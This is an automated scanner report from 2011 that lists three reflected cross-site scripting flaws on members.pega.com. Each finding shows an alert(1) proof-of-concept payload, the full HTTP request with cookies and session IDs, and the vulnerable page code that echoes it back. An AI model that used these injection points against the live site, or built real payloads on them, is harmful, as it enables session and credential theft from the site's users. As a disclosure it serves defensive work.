members.pega.com, XSS, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Sun Mar 06 10:22:26 CST 2011.


The DORK Report

Loading

1. Cross-site scripting (reflected)

1.1. http://members.pega.com/cookiecheck.asp [pcd parameter]

1.2. http://members.pega.com/login.asp [name of an arbitrarily supplied request parameter]

1.3. http://members.pega.com/login.asp [name of an arbitrarily supplied request parameter]



1. Cross-site scripting (reflected)
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://members.pega.com/cookiecheck.asp [pcd parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://members.pega.com
Path:   /cookiecheck.asp

Issue detail

The value of the pcd request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 39ce9"%3balert(1)//c55712ec43c was submitted in the pcd parameter. This input was echoed as 39ce9";alert(1)//c55712ec43c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cookiecheck.asp?pcd=/login.asp39ce9"%3balert(1)//c55712ec43c HTTP/1.1
Host: members.pega.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94242332.1299035654.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=94242332.219317437.1299035654.1299035654.1299035654.1; __utmc=94242332; __utmv=94242332.anonymous%20user|1=User%20roles=anonymous%20user=1,; __utmb=94242332.4.10.1299035654; DestinationURL=http%3A%2F%2Fwww.pega.com%2Fuser; RedirectFunction=login; ASPSESSIONIDCCADTADB=PFHPGCNCCEDIKIFJBDKIICJK

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Expires: Wed, 02 Mar 2011 03:04:48 GMT
Date: Wed, 02 Mar 2011 03:05:48 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
Pragma: no-cache
Cache-control: no-cache
Vary: Accept-Encoding
Content-Length: 31648


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<!-- InstanceBegin template="/
...[SNIP]...
test_cookie') == 'cookie_value') {
       // cookie worked
       $.cookie('nocheck', '1', { expires: 180, path: '/', domain: 'pega.com', secure: false });
       //redirect to destination
       var dst = "/login.asp39ce9";alert(1)//c55712ec43c";
       if (dst == '') {
           dst = "/login.asp";    
       }
       if (dst != 'bad'){
           document.location = dst;
       }
   } else {
       // cookie failed
       alert("To sign in to pega.com, you must have cookies enabl
...[SNIP]...

1.2. http://members.pega.com/login.asp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://members.pega.com
Path:   /login.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8df77"style%3d"x%3aexpression(alert(1))"e0261c97504 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 8df77"style="x:expression(alert(1))"e0261c97504 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /login.asp?8df77"style%3d"x%3aexpression(alert(1))"e0261c97504=1 HTTP/1.1
Host: members.pega.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94242332.1299035654.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=94242332.219317437.1299035654.1299035654.1299035654.1; __utmc=94242332; __utmv=94242332.anonymous%20user|1=User%20roles=anonymous%20user=1,; __utmb=94242332.4.10.1299035654; DestinationURL=http%3A%2F%2Fwww.pega.com%2Fuser; RedirectFunction=login

Response (redirected)

HTTP/1.1 200 OK
Connection: Keep-Alive
Expires: Wed, 02 Mar 2011 03:06:14 GMT
Date: Wed, 02 Mar 2011 03:07:14 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
Pragma: no-cache
Set-Cookie: ASPSESSIONIDCCADTADB=AJHPGCNCLOBOAAJAGBLBJIOC; path=/
Cache-control: no-cache
Vary: Accept-Encoding
Content-Length: 31640


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<!-- InstanceBegin template="/
...[SNIP]...
<link rel="canonical" href="http://www.pega.com/cookiecheck.asp?8df77"style="x:expression(alert(1))"e0261c97504=1&pcd=/login.asp" />
...[SNIP]...

1.3. http://members.pega.com/login.asp [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://members.pega.com
Path:   /login.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 450b1"%3balert(1)//37e9ed2ef4f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 450b1";alert(1)//37e9ed2ef4f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /login.asp?450b1"%3balert(1)//37e9ed2ef4f=1 HTTP/1.1
Host: members.pega.com
Proxy-Connection: keep-alive
Referer: http://members.pega.com/cookiecheck.asp?pcd=/login.asp
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94242332.1299035654.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=94242332.219317437.1299035654.1299035654.1299035654.1; __utmc=94242332; __utmv=94242332.anonymous%20user|1=User%20roles=anonymous%20user=1,; __utmb=94242332.4.10.1299035654; DestinationURL=http%3A%2F%2Fwww.pega.com%2Fuser; RedirectFunction=login; ASPSESSIONIDCCADTADB=PFHPGCNCCEDIKIFJBDKIICJK; __utmz=87550468.1299035832.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=87550468.823546359.1299035832.1299035832.1299035832.1; __utmc=87550468; __utmb=87550468.1.10.1299035832; test_cookie=cookie_value; nocheck=1

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Expires: Wed, 02 Mar 2011 03:07:04 GMT
Date: Wed, 02 Mar 2011 03:08:04 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
Pragma: no-cache
Set-Cookie: pega%5Fautolog=000; expires=Wed, 29-Feb-2012 05:00:00 GMT; path=/
Cache-control: no-cache
Vary: Accept-Encoding
Content-Length: 35643


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- InstanceBegin template="/Te
...[SNIP]...
true;
   finished &= emailComplete(e.email_address.value);
   finished &= passwordCheck(e.password_display.value);
   return finished;
}

function tryToRegister(){
   e.login_form.action="register.asp?450b1";alert(1)//37e9ed2ef4f=1&";
   e.submitted.value = "1";
   //hide("password_display");
   e.password.value = lemon(e.password_display.value);
   e.password_display.value = "";
   e.login_form.onsubmit = null;
   e.login_form.subm
...[SNIP]...

Report generated by XSS.CX at Sun Mar 06 10:22:26 CST 2011.